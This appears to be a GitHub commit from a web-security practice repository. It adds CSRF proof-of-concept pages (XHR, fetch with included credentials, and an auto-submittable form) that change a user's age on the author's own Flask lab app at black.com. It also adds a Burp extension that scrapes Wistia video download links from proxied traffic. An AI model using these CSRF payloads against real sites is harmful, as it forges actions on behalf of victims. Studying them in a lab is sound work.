Skip to content

Commit 71addf9

Browse files
committed
CSRF02
1 parent 55a9522 commit 71addf9

20 files changed

Lines changed: 398 additions & 12 deletions

‎web/burp_plug-in/downloader_kc.py‎

Lines changed: 47 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,47 @@
1+
#!/usr/bin/env python3
2+
3+
# author: greyshell
4+
# description: extract the dwl links
5+
6+
# setup Imports
7+
from burp import IBurpExtender
8+
from burp import IHttpListener
9+
from burp import IHttpRequestResponse
10+
11+
12+
# Class BurpExtender (Required) contaning all functions used to interact with Burp Suite API
13+
class BurpExtender(IBurpExtender, IHttpListener, IHttpRequestResponse):
14+
# define registerExtenderCallbacks: From IBurpExtender Interface
15+
16+
def registerExtenderCallbacks(self, callbacks):
17+
# keep a reference to our callbacks object (Burp Extensibility Feature)
18+
self._callbacks = callbacks
19+
# obtain an extension helpers object (Burp Extensibility Feature)
20+
# http://portswigger.net/burp/extender/api/burp/IExtensionHelpers.html
21+
self._helpers = callbacks.getHelpers()
22+
# set our extension name that will display in Extender Tab
23+
self._callbacks.setExtensionName("get URL")
24+
# register ourselves as an HTTP listener
25+
callbacks.registerHttpListener(self)
26+
27+
# define processHttpMessage: From IHttpListener Interface
28+
def processHttpMessage(self, toolFlag, messageIsRequest, messageInfo):
29+
# determine what tool we would like to pass though our extension:
30+
if toolFlag == 4: # if tool is Proxy Tab
31+
# determine if request or response:
32+
33+
if not messageIsRequest: # only handle responses
34+
response = messageInfo.getResponse() # get Response from IHttpRequestResponse instance
35+
analyzedResponse = self._helpers.analyzeResponse(response) # returns IResponseInfo
36+
headerList = analyzedResponse.getHeaders() # get Headers from IResponseInfo Instance
37+
38+
jsondata = response.tostring()
39+
videourl = jsondata.find('"url":"https://embed-ssl.wistia.com/deliveries/')
40+
created = jsondata.find('","created_at"')
41+
if videourl > 0:
42+
download_link = jsondata[videourl + 7:created]
43+
print(download_link)
44+
with open("results.txt", "a") as f:
45+
f.write(download_link)
46+
f.write("\n")
47+
messageInfo.setHighlight("blue") # set Highlight Color to blue

‎web/csrf/README.md‎

Lines changed: 6 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,6 @@
1+
# Description
2+
3+
- this app is running on the black.com domain.
4+
- /etc/apache2/sites-enabled/ -> black.com.conf
5+
- start the app and the apache server
6+
- PoC for CSRF exploitation

web/csrf01/app.py renamed to web/csrf/app.py

Lines changed: 9 additions & 2 deletions
Original file line numberDiff line numberDiff line change
@@ -4,9 +4,9 @@
44

55
import os
66

7-
from flask import Flask, render_template, session, redirect, url_for, jsonify
7+
from flask import Flask, render_template, session, redirect, url_for, jsonify, make_response
88
from flask import request
9-
from web.csrf01.models import *
9+
from web.csrf.models import *
1010

1111
templates_path = os.path.abspath(
1212
'./template/'
@@ -60,6 +60,13 @@ def welcome():
6060
return render_template('welcome.html', user=user)
6161

6262

63+
@app.route('/setcookie', methods=['GET'])
64+
def setcookie():
65+
resp = make_response("Cookie set")
66+
resp.set_cookie("color", "black")
67+
return resp
68+
69+
6370
@app.route('/update_age', methods=['POST'])
6471
def update_age():
6572
user = get_logged_in_user()
Lines changed: 3 additions & 3 deletions
Original file line numberDiff line numberDiff line change
@@ -1,10 +1,10 @@
1-
<html>
1+
<html lang="en">
22
<!-- This PoC script will send the request without any user interaction-->
33

44
<script type="text/javascript">
55
// Vulnerable URL and POST parameters: http://0.tcp.ngrok.io:19944/update_age
6-
var url = "http://0.tcp.ngrok.io:11665/update_age";
7-
var params = "age=92";
6+
var url = "http://black.com/update_age";
7+
var params = "age=50";
88

99
var CSRF = new XMLHttpRequest();
1010
CSRF.open("POST", url, true);
Lines changed: 7 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -1,28 +1,28 @@
1-
<html>
1+
<html lang="en">
22
<!-- This PoC script will send the request without any user interaction-->
33
<body>
44
<script type="text/javascript">
55
// Vulnerable URL and POST parameters: http://0.tcp.ngrok.io:19944/update_age
6-
var url = "http://0.tcp.ngrok.io:11665/update_age";
7-
var params = "age=91";
6+
var url = "http://black.com/update_age";
7+
var params = "age=19";
88

99
// Example POST method implementation:
1010
async function postData(url = '', data = {}) {
1111
// Default options are marked with *
12-
const response = await fetch(url, {
12+
return await fetch(url, {
1313
method: 'POST', // *GET, POST, PUT, DELETE, etc.
1414
mode: 'no-cors', // no-cors, *cors, same-origin
1515
//cache: 'no-cache', // *default, no-cache, reload, force-cache, only-if-cached
16-
credentials: 'include', // include, *same-origin, omit
16+
//credentials: 'same-origin', // include, *same-origin, omit
17+
credentials: 'include',
1718
//headers: {
1819
//'Content-Type': 'application/json'
1920
// 'Content-Type': 'application/x-www-form-urlencoded',
2021
//},
2122
//redirect: 'follow', // manual, *follow, error
2223
//referrerPolicy: 'no-referrer', // no-referrer, *no-referrer-when-downgrade, origin, origin-when-cross-origin, same-origin, strict-origin, strict-origin-when-cross-origin, unsafe-url
2324
body: data // body data type must match "Content-Type" header
24-
});
25-
return response; // parses JSON response into native JavaScript objects
25+
}); // parses JSON response into native JavaScript objects
2626
}
2727

2828
postData(url, params)

‎web/csrf/exploit_form_post.html‎

Lines changed: 10 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,10 @@
1+
<html>
2+
<!-- CSRF PoC - generated by Burp Suite Professional -->
3+
<body>
4+
<script>history.pushState('', '', '/')</script>
5+
<form action="http://black.com/update_age" method="POST" enctype="text/plain">
6+
<input type="hidden" name="age" value="51"/>
7+
<input type="submit" value="Submit request"/>
8+
</form>
9+
</body>
10+
</html>

0 commit comments

Comments
 (0)